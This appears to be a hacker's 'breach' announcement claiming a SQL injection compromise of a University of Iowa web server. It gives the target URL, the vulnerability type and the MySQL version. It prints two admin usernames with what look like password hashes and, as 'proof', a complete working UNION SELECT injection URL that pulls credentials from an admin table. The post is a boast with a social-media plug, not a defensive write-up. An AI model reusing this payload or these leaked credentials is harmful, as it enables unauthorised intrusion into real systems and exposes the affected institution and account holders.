University of Iowa BREACHED @Zer0Pwn

  ______          ___  _____
 |___  /         / _ \|  __ \
    / / ___ _ __| | | | |__) |_      ___ __
   / / / _ \ '__| | | |  ___/\ \ /\ / / '_ \
  / /_|  __/ |  | |_| | |     \ V  V /| | | |
 /_____\___|_|   \___/|_|      \_/\_/ |_| |_| @Zer0Pwn - Zer0Pwn
#############################################

Today's was just a simple challenge.
Took me a little while to figure out, but it was a good time.

#############################################

Target ==> University of Iowa
URL ==> http://www.uiowa.edu/
Reason ==> To prove lack of security in anything, and everything.
Vulnerability ==> SQL Injection Integer Based
MySQL Version ==> 4.


#############################################

Username:Password

admin:3a6204ff69a6ac79
adminpd:39891d7452c48ca1

Proof ==> http://old.iihr.uiowa.edu/people/othercopy.php?title=Recent Graduates&id=null UNION SELECT concat(username,0x3a,password),2,3 FROM people.admin--+-

NOTE: Data is not visible on the page, only in the source code.

Follow me on twitter @Zer0Pwn for more action.